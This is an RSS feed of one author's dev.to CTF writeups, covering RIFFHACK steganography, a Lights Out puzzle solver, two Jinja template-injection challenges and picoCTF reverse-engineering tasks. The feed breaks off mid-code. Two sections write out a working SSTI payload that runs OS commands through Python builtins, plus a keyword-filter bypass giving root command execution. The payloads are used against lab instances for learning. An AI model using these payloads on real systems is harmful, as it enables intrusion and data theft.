<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Advik Kant</title>
    <description>The latest articles on DEV Community by Advik Kant (@deoxys).</description>
    <link>https://dev.to/deoxys</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3056227%2Fcf99dbb4-f8f7-44b0-bb85-c5e36c832a08.jpeg</url>
      <title>DEV Community: Advik Kant</title>
      <link>https://dev.to/deoxys</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/deoxys"/>
    <language>en</language>
    <item>
      <title>RIFFHACK: Black Market Break-In CTF Writeup</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Tue, 23 Jun 2026 06:47:44 +0000</pubDate>
      <link>https://dev.to/deoxys/riffhack-black-market-break-in-ctf-writeup-1j82</link>
      <guid>https://dev.to/deoxys/riffhack-black-market-break-in-ctf-writeup-1j82</guid>
      <description>&lt;p&gt;RIFFHACK: Black Market Break-In ran from 19th to 22nd June 2026, four days of digging through challenges across categories. Went in without much of a plan, just picked off whatever looked interesting, and ended up clearing 4 of them by the end. Mixed bag of categories, mixed bag of pain. Writeups for each one below.&lt;/p&gt;

&lt;h2&gt;
  
  
  Moon Prism Packet Secrets
&lt;/h2&gt;

&lt;p&gt;Description&lt;/p&gt;

&lt;p&gt;A late-night idol rehearsal leak includes one selfie and a whisper of intercepted packets. The photo looks harmless, but the gradient refuses to keep the guardians’ secret quiet.&lt;/p&gt;

&lt;p&gt;we are given two files- one pcap and one image file&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0j5vrq4ulnef4861wb1n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0j5vrq4ulnef4861wb1n.png" alt="captionless image" width="799" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;there is trailer data after ending so I did binwalk and got this, a diary_entry.txt file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8hjokvhine7b1hnfp4d6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8hjokvhine7b1hnfp4d6.png" alt="captionless image" width="575" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;after opening the diary_entry.txt file, I got the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0jybehfw1414uznblb42.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0jybehfw1414uznblb42.png" alt="captionless image" width="800" height="226"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Aperture Science Test Chambers
&lt;/h2&gt;

&lt;p&gt;Description&lt;/p&gt;

&lt;p&gt;GLaDOS has locked the flag behind twenty Aperture Science test chambers. Each chamber is an illuminated panel grid — pressing any panel toggles it and all its immediate neighbours. Find the sequence of presses that extinguishes every panel in each chamber, and she will release what you’ve earned.&lt;/p&gt;

&lt;p&gt;After connecting via nc, I saw this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faerqqlx5nv57ikpi2p73.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faerqqlx5nv57ikpi2p73.png" alt="captionless image" width="799" height="329"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;basically we needed to solve 20 of these chambers according to the algorithm given in the description and it will get us the flag so I just vibe coded a python script to do all the stuff and we got the flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"""
Automated solver for the GLaDOS Aperture Lights Out CTF.
Connects via raw socket, solves each chamber, submits, loops through all 20.
"""
import socket
import re
import sys
import time
HOST = "IP_ADDRESS"
PORT = PORT_NUMBER
def solve_lights_out(grid, n):
    size = n * n
    A, b = [], []
    for r in range(n):
        for c in range(n):
            mask = 1 &amp;lt;&amp;lt; (r * n + c)
            for dr, dc in ((-1, 0), (1, 0), (0, -1), (0, 1)):
                nr, nc = r + dr, c + dc
                if 0 &amp;lt;= nr &amp;lt; n and 0 &amp;lt;= nc &amp;lt; n:
                    mask |= 1 &amp;lt;&amp;lt; (nr * n + nc)
            A.append(mask)
            b.append(grid[r][c])
    pivot_row_for_col = {}
    cur = 0
    for col in range(size):
        pivot = next((r for r in range(cur, size) if (A[r] &amp;gt;&amp;gt; col) &amp;amp; 1), None)
        if pivot is None:
            continue
        A[cur], A[pivot] = A[pivot], A[cur]
        b[cur], b[pivot] = b[pivot], b[cur]
        for r in range(size):
            if r != cur and (A[r] &amp;gt;&amp;gt; col) &amp;amp; 1:
                A[r] ^= A[cur]
                b[r] ^= b[cur]
        pivot_row_for_col[col] = cur
        cur += 1
        if cur == size:
            break
    for r in range(cur, size):
        if A[r] == 0 and b[r] == 1:
            raise ValueError("Unsolvable grid, check parsing")
    x = [0] * size
    for col, row in pivot_row_for_col.items():
        x[col] = b[row]
    return [(i // n, i % n) for i in range(size) if x[i]]
def recv_until(sock, buf, markers, timeout=10):
    """Read until any marker string appears in the accumulated buffer, or timeout."""
    sock.settimeout(timeout)
    start = time.time()
    while True:
        if any(m in buf for m in markers):
            return buf
        try:
            chunk = sock.recv(65536)
            if not chunk:
                return buf
            buf += chunk.decode(errors="replace")
        except socket.timeout:
            return buf
        if time.time() - start &amp;gt; timeout:
            return buf
def parse_grid(text):
    m = re.search(r"GRID\s+(\d+)\s*\n((?:[01](?:\s+[01])*\s*\n)+)", text)
    if not m:
        return None, None
    n = int(m.group(1))
    rows_text = m.group(2).strip().splitlines()
    rows_text = rows_text[-n:]
    grid = [[int(x) for x in row.split()] for row in rows_text]
    return grid, n
def main():
    sock = socket.create_connection((HOST, PORT), timeout=15)
    full_buf = ""
    chamber = 0
    while chamber &amp;lt; 20:
        full_buf = recv_until(sock, full_buf, ["AWAITING SOLUTION", "FLAG", "flag{"], timeout=10)
        print(full_buf[len(full_buf) - full_buf[::-1].find("\n--\n"[::-1]) if False else 0:], end="")
        if "flag{" in full_buf.lower() or "FLAG" in full_buf:
            print("\n[+] FLAG FOUND")
            break
        grid, n = parse_grid(full_buf)
        if grid is None:
            print("[-] Could not parse grid, stopping")
            break
        chamber += 1
        presses = solve_lights_out(grid, n)
        print(f"\n[+] Solved chamber {chamber}: {n}x{n} grid, {len(presses)} presses")
        out_lines = [f"PRESSES {len(presses)}"]
        out_lines.extend(f"{r} {c}" for r, c in presses)
        payload = ("\n".join(out_lines) + "\n").encode()
        sock.sendall(payload)
        full_buf = ""  # reset buffer, next recv_until will catch the response to this submission
    # drain whatever's left (flag usually shows right after final OK)
    final = recv_until(sock, "", ["FLAG", "flag{"], timeout=5)
    if final.strip():
        print(final)
    sock.close()
if __name__ == "__main__":
    main()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx6924x34zju4sxo6hyj3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx6924x34zju4sxo6hyj3.png" alt="captionless image" width="800" height="384"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Vault-Tec Overseer Terminal
&lt;/h2&gt;

&lt;p&gt;Description&lt;/p&gt;

&lt;p&gt;A RobCo Termlink for Vault 101 lets residents personalize a terminal greeting. Enroll as an ordinary resident and recover the Overseer’s sealed directive.&lt;/p&gt;

&lt;p&gt;As we can see if we inject basic {{ 7*7 }} SSTI payload, the output shows 49 meaning its vulnerable to SSTI.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftq8qny3sj3u1138kyd1a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftq8qny3sj3u1138kyd1a.png" alt="captionless image" width="800" height="471"&gt;&lt;/a&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbhoap8ziwyi8opcbrt9b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbhoap8ziwyi8opcbrt9b.png" alt="captionless image" width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s test the below SSTI payload and see what output we get.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}
&amp;gt; app.py requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;there are two files app.py and requirements.txt. The flag is most probably going to be in app.py so lets cat app.py and see if we can find the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkw1evw4spwchphwgemeh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkw1evw4spwchphwgemeh.png" alt="captionless image" width="799" height="494"&gt;&lt;/a&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F60o146lf5dwi96cyob6s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F60o146lf5dwi96cyob6s.png" alt="captionless image" width="800" height="692"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There we go, we have found the flag in app.py file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ghostbusters Template Possession
&lt;/h2&gt;

&lt;p&gt;Description&lt;/p&gt;

&lt;p&gt;Spengler’s Oscillation Translator is warping the containment HUD in impossible ways. The console still seems eager to reveal what the filters were meant to hide.&lt;/p&gt;

&lt;p&gt;This challenge is also similar to the previous ones where we have to input something inside {{ }} and it will render and show the output.&lt;/p&gt;

&lt;p&gt;So, ofcourse I tested again for SSTI and low and behold it was once again vulnerable to SSTI. The difference here was that in this some keywords like “self” and others were blocked. So in order to leak the files present in the directory via SSTI we will use another keyword that shouldn’t be blocked that is “cycler”.&lt;/p&gt;

&lt;p&gt;Let’s see that by using the “id” command. As we can see, the “id” command worked and we are getting&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxti81qx8axtfmz8t2wll.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxti81qx8axtfmz8t2wll.png" alt="captionless image" width="800" height="290"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s test the below “ls” SSTI payload and see what output we get.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxi9a4upchvxzp8an8nym.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxi9a4upchvxzp8an8nym.png" alt="captionless image" width="800" height="281"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Again there are two files app.py and requirements.txt. The flag is most probably going to be in app.py so lets cat app.py and see if we can find the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F54u4phn9re8onnic7hkm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F54u4phn9re8onnic7hkm.png" alt="captionless image" width="799" height="416"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And there we go, we have found the flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;That wraps up RIFFHACK: Black Market Break-In. 4 solves out of however many I attempted. For me CTFs are less about the flag and more about the detour, and this one had plenty. Thanks for reading;)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2Fformat%3Awebp%2F0%2AI10RCpnhQgwLQBtv" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A1400%2Fformat%3Awebp%2F0%2AI10RCpnhQgwLQBtv" alt="captionless image" width="740" height="524"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>programming</category>
      <category>security</category>
      <category>learning</category>
    </item>
    <item>
      <title>Bypass Me: PicoCTF writeup</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Thu, 18 Jun 2026 06:17:45 +0000</pubDate>
      <link>https://dev.to/deoxys/bypass-me-picoctf-writeup-47ie</link>
      <guid>https://dev.to/deoxys/bypass-me-picoctf-writeup-47ie</guid>
      <description>&lt;h2&gt;
  
  
  Chall description
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffh3z94xkov74cziwaztd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffh3z94xkov74cziwaztd.png" alt=" " width="800" height="678"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Basically we are given a binary that gives us 3 chances to enter password and we need to reverse engineer the correct password after that we would be able to open the file and get the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fibv04z0nzevoh4x0qwdr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fibv04z0nzevoh4x0qwdr.png" alt=" " width="800" height="620"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting the flag
&lt;/h2&gt;

&lt;p&gt;When we open the instance, we see that we need to connect to a ssh server where the binary is served.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl86uwk1g4hy9lvr0aqow.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl86uwk1g4hy9lvr0aqow.png" alt=" " width="800" height="247"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since I want to use my ghidra to see the decompiled C code, I used the scp command to transfer the binary to my local machine.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;scp -P 58636 ctf-player@foggy-cliff.picoctf.net:/home/ctf-player/bypassme.bin ./&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After opening the binary in Ghidra we see that this is the most crucial part of the binary where the strcmp() compares our entered password to the hardcoded password. So if we set up a breakpoint at the strcmp() function using gdb we can see the hardcoded password its being compared to and enter it to get the flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9azplxymthvr37sju8he.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9azplxymthvr37sju8he.png" alt=" " width="756" height="337"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1hdj4s8aebue3i3zl4n4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F1hdj4s8aebue3i3zl4n4.png" alt=" " width="800" height="459"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;BOOM! we get the hardcoded password as "SuperSecure" so lets enter it and get the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwuhnbmclf9wd695byqii.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwuhnbmclf9wd695byqii.png" alt=" " width="799" height="231"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We successfully got the flag!!&lt;/p&gt;

</description>
      <category>writeup</category>
      <category>cybersecurity</category>
      <category>c</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Secure Database Password: PicoCTF writeup</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Wed, 17 Jun 2026 10:36:00 +0000</pubDate>
      <link>https://dev.to/deoxys/secure-database-password-picoctf-writeup-5f45</link>
      <guid>https://dev.to/deoxys/secure-database-password-picoctf-writeup-5f45</guid>
      <description>&lt;h1&gt;
  
  
  Secure_Database_Password
&lt;/h1&gt;

&lt;h2&gt;
  
  
  Challenge Description
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy61axw3cdz6jtxpjiznn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy61axw3cdz6jtxpjiznn.png" alt=" " width="800" height="514"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;running through the challenge&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgszv99wh3t27ylm45kg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgszv99wh3t27ylm45kg.png" alt=" " width="800" height="192"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;lets open the ghidra and reverse engineering the binary we are given in the chall (./system_out). After opening the binary in ghidra the most important part of decompilation code is this part.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr1krc9cgvqhonsj0dut1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr1krc9cgvqhonsj0dut1.png" alt=" " width="784" height="630"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;as we can see that there is a make_secret() function that takes a string and whatever the function returns is being compared to the hash we enter and if it matches it opens flag.txt file.&lt;/p&gt;

&lt;p&gt;BOOM! we just need to go this make_secret() function and see what this local_f8 is and then we can get the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Funwh6ystbeu515iuvaa0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Funwh6ystbeu515iuvaa0.png" alt=" " width="799" height="233"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;as we can see in the make_secret() function it takes this hardcoded obf_bytes array and xors each digit with 0xaa and then we call another function hash()&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6igsihm74f68g6gkm0h3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6igsihm74f68g6gkm0h3.png" alt=" " width="691" height="354"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;this hash function looked familiar and when I googled about it I came to know it was known as the djb2 algo. OK so lets plan&lt;/p&gt;

&lt;p&gt;We can put a breakpoint at this hash function this way we can see the string before undergoing the hash function. Once we capture this string we will just apply the djb2 decode and hopefully get the flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvvlkwl7k5epey0d8jjcy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvvlkwl7k5epey0d8jjcy.png" alt=" " width="736" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;ok so we get this string “iUbh81!j*hn!” , lets apply the algorithm on this string for that I vibecoded this python script to make our work easier&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;djb2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5381&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFFFFFFFFFF&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;

